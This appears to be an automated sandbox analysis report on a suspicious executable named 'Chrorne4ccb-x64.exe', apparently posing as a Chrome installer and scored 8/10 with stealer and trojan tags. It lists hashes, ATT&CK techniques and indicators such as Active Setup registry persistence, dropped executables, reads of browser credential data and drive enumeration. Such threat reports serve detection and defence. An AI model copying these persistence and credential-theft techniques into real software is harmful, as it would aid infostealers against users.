95908ecb36e0bf31d5a8e3c1b9fe40d8e81509f6a7a30d67c3728759c59bf35f

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 16:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Chrorne4ccb-x64.exe
Size 25.0MB
Sample260716-t1ataahs2k
SHA256 95908ecb36e0bf31d5a8e3c1b9fe40d8e81509f6a7a30d67c3728759c59bf35f
MD5 9cca84e6949a4bda44b3f8f4dec19b66
SHA1 38c3a24f72537e659eded1d54ff953b5ab941312
SHA512 0b01212c8ae9cd28e06dd4d4c86bf8f5e6b89066857836c17c9dca8c8f471f7ef27ee50ff129096c2a48d82fd46ac04be07b9563c4926134ae436d5268109fea
SSDEEP 786432:JbHZL8ucrxkQj265JsddvFtt7lKq/4Dbz5b5Af:9ZoFH2652fdvgT5bCf
TLSH
T1324733D245546E9BEF145A7C8187324D6830BE33B311A67B7B8AC682BC2310DF57BA71
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery installer persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Boot or Logon Autostart Execution: Active Setup 2 TTPs 13 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}\Version = "43,0,0,0"	setup.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\{49210152-871f-4ffa-961d-a172abcbc09d}	platform_experience_helper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{49210152-871f-4ffa-961d-a172abcbc09d}\ = "Google Platform Experience Helper"	platform_experience_helper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{49210152-871f-4ffa-961d-a172abcbc09d}\Localized Name = "Google Platform Experience Helper"	platform_experience_helper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{49210152-871f-4ffa-961d-a172abcbc09d}\StubPath = "\"C:\\Program Files\\Google\\Chrome\\Application\\PlatformExperienceHelper\\platform_experience_helper.exe\" --first-run"	platform_experience_helper.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}\StubPath = "\"C:\\Program Files\\Google\\Chrome\\Application\\150.0.7871.125\\Installer\\chrmstp.exe\" --configure-user-settings --verbose-logging --system-level --channel=stable"	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}\Localized Name = "Google Chrome"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}\IsInstalled = "1"	setup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{49210152-871f-4ffa-961d-a172abcbc09d}\IsInstalled = "1"	platform_experience_helper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{49210152-871f-4ffa-961d-a172abcbc09d}\Version = "152,0,7929,0"	platform_experience_helper.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}\ = "Google Chrome"	setup.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 56 IoCs

pid	Process
5616	ChromeSetup.exe
1344	updater.exe
924	updater.exe
4312	updater.exe
2700	updater.exe
5536	updater.exe
2300	updater.exe
5556	updater.exe
5960	updater.exe
5684	150.0.7871.125_chrome_installer_uncompressed.exe
3220	setup.exe
1812	setup.exe
4408	setup.exe
3804	setup.exe
5460	chrome.exe
3512	chrome.exe
4672	chrome.exe
4120	chrome.exe
4816	chrome.exe
3144	elevation_service.exe
2552	chrome.exe
6068	chrome.exe
2160	chrome.exe
2384	chrome.exe
5936	cloudflared_installer.exe
2272	chrome.exe
4276	cloudflared_installer.tmp
3548	chrome.exe
3380	chrome.exe
2820	chrome.exe
2852	chrome.exe
5448	chrome.exe
5728	chrome.exe
5744	chrome.exe
1208	chrome.exe
4280	chrome.exe
2352	chrome.exe
1056	chrome.exe
1516	os_update_handler.exe
5064	chrome.exe
1968	updater.exe
4112	updater.exe
3412	platform_experience_helper.exe
2232	chrome.exe
4328	chrome.exe
2232	chrome.exe
3236	chrome.exe
5256	System.exe
3000	System.exe
4400	WindowsEvent.exe
2712	WindowsEvent.exe
4836	updater.exe
1660	updater.exe
1328	chrome.exe
3888	chrome.exe
5856	chrome.exe

Loads dropped DLL 64 IoCs

pid	Process
2196	Chrorne4ccb-x64.exe
2196	Chrorne4ccb-x64.exe
2196	Chrorne4ccb-x64.exe
5460	chrome.exe
3512	chrome.exe
5460	chrome.exe
4672	chrome.exe
4120	chrome.exe
4672	chrome.exe
4816	chrome.exe
4120	chrome.exe
4672	chrome.exe
4816	chrome.exe
2552	chrome.exe
6068	chrome.exe
2160	chrome.exe
6068	chrome.exe
2160	chrome.exe
4672	chrome.exe
4672	chrome.exe
2384	chrome.exe
4672	chrome.exe
2384	chrome.exe
2272	chrome.exe
2272	chrome.exe
4672	chrome.exe
3380	chrome.exe
3548	chrome.exe
3548	chrome.exe
3380	chrome.exe
5460	chrome.exe
2820	chrome.exe
2820	chrome.exe
2852	chrome.exe
2852	chrome.exe
5448	chrome.exe
5448	chrome.exe
5728	chrome.exe
5728	chrome.exe
5744	chrome.exe
5744	chrome.exe
1208	chrome.exe
1208	chrome.exe
4280	chrome.exe
4280	chrome.exe
2352	chrome.exe
2352	chrome.exe
1056	chrome.exe
1056	chrome.exe
5064	chrome.exe
5064	chrome.exe
2232	chrome.exe
2232	chrome.exe
4276	cloudflared_installer.tmp
4328	chrome.exe
4328	chrome.exe
2232	chrome.exe
2232	chrome.exe
3236	chrome.exe
3236	chrome.exe
1328	chrome.exe
3888	chrome.exe
5856	chrome.exe
1328	chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk	setup.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\chrome_wer.dll	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\es-419_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\am_NEUTER.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\es_FEMININE.pak	setup.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\prefs.json	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\cs_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\el_NEUTER.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\et_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\pl_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\v8_context_snapshot.bin	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\VisualElements\LogoDev.png	setup.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\updater.log	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\en-GB_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\lt.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\sw_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\zh-CN_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\os_update_handler.exe	setup.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\bn_NEUTER.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\fil.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\pt-BR_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\pt-PT.pak	setup.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad\settings.dat	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\fi.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\hr_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\dxcompiler.dll	setup.exe
File created	C:\Program Files (x86)\Google\GoogleUpdater\4cf218aa-a193-4832-a32d-db9a072e1a53.tmp	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\bg_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\ko_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\mr_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\uk_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\zh-CN_NEUTER.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\MEIPreload\manifest.json	setup.exe
File created	C:\Program Files (x86)\Google\GoogleUpdater\prefs.json~RFe5afee3.TMP	updater.exe
File created	C:\Program Files\Google\Chrome\Application\PlatformExperienceHelper\platform_experience_helper.exe	platform_experience_helper.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl	updater.exe
File created	C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\uninstall.cmd	updater.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\crx_cache\ee9e835f-1f58-48f0-9d97-6a42a78134e3.tmp	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\af.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\ms_NEUTER.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\sk.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\sl.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\zh-CN.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\IwaKeyDistribution\iwa-key-distribution.pb	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\ca.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\it_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\ro.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\chrome.dll	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\vulkan-1.dll	setup.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad\settings.dat	updater.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\updater.log	updater.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl	updater.exe
File created	C:\Program Files (x86)\Google\GoogleUpdater\prefs.json~RFe59c029.TMP	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\et_NEUTER.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\id_FEMININE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\ms_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\pt-BR.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\WidevineCdm\manifest.json	setup.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad\metadata	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\ar.pak	setup.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\updater.log	updater.exe
File opened for modification	C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl	updater.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\af_MASCULINE.pak	setup.exe
File created	C:\Program Files\Google\Chrome\Temp\source3220_883212527\Chrome-bin\150.0.7871.125\Locales\kn_FEMININE.pak	setup.exe

Drops file in Windows directory 37 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\150.0.7871.125_chrome_installer_uncompressed.exe	updater.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe	150.0.7871.125_chrome_installer_uncompressed.exe
File created	C:\Windows\Installer\SourceHash{4E770F36-669B-4959-9C32-3F8ABC7E2BEE}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2893.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\Google5616_1565436523\UPDATER.PACKED.7Z	ChromeSetup.exe
File created	C:\Windows\SystemTemp\Google5616_129515428\updater.7z	ChromeSetup.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_122668021\_metadata\verified_contents.json	updater.exe
File created	C:\Windows\SystemTemp\~DF8AE5762FC2CA669D.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\updater_chrome_url_fetcher_5536_34381297\81a32ab5b569144781083949fb2773571b9091996edb548cd4d98ea2aa733b49	updater.exe
File created	C:\Windows\Installer\e5b2557.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5b2557.msi	msiexec.exe
File created	C:\Windows\SystemTemp\updater_chrome_url_fetcher_5536_730533085\ac07e444fc856b10eb742779b98bae2c26a04f8c633020ebc70c3abe50813b51	updater.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\manifest.json	updater.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\_metadata\verified_contents.json	updater.exe
File opened for modification	C:\Windows\SystemTemp\chrome_installer.log	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\chrome_installer.log	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	setup.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_122668021\debug.log	platform_experience_helper.exe
File opened for modification	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\setup.exe	150.0.7871.125_chrome_installer_uncompressed.exe
File created	C:\Windows\SystemTemp\~DF53BB2D28F2C29686.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\54e34ee8-a817-4f73-ba6e-f3cb3dd4d341.tmp	updater.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\Google5616_129515428\bin\updater.exe	ChromeSetup.exe
File created	C:\Windows\SystemTemp\updater_chrome_url_fetcher_5536_34381297\decoded_xz	updater.exe
File created	C:\Windows\SystemTemp\~DF1715A59CC4EBADAC.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\updater_chrome_url_fetcher_5536_730533085\decoded_xz	updater.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	setup.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e5b255b.msi	msiexec.exe
File created	C:\Windows\SystemTemp\Google5616_129515428\bin\uninstall.cmd	ChromeSetup.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_8117981\CR_544FB.tmp\CHROME.7Z	150.0.7871.125_chrome_installer_uncompressed.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_122668021\platform_experience_helper.exe	updater.exe
File created	C:\Windows\SystemTemp\updater_chrome_Unpacker_BeginUnzipping5536_122668021\manifest.json	updater.exe
File created	C:\Windows\SystemTemp\~DF0678BD3E9B0CA0EA.TMP	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cloudflared_installer.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cloudflared_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsEvent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrorne4ccb-x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ChromeSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updater.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3220	setup.exe
5684	150.0.7871.125_chrome_installer_uncompressed.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4120	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/5936-749-0x0000000000BD0000-0x0000000000CC2000-memory.dmp	innosetup
behavioral2/files/0x000d00000001c5e3-745.dat	innosetup
behavioral2/memory/5936-1230-0x0000000000BD0000-0x0000000000CC2000-memory.dmp	innosetup

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	System.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	System.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Google\Chrome	setup.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134286931764225816"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\System32\urlmon.dll,-4200 = "Open File - Security Warning"	setup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	System.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	System.exe
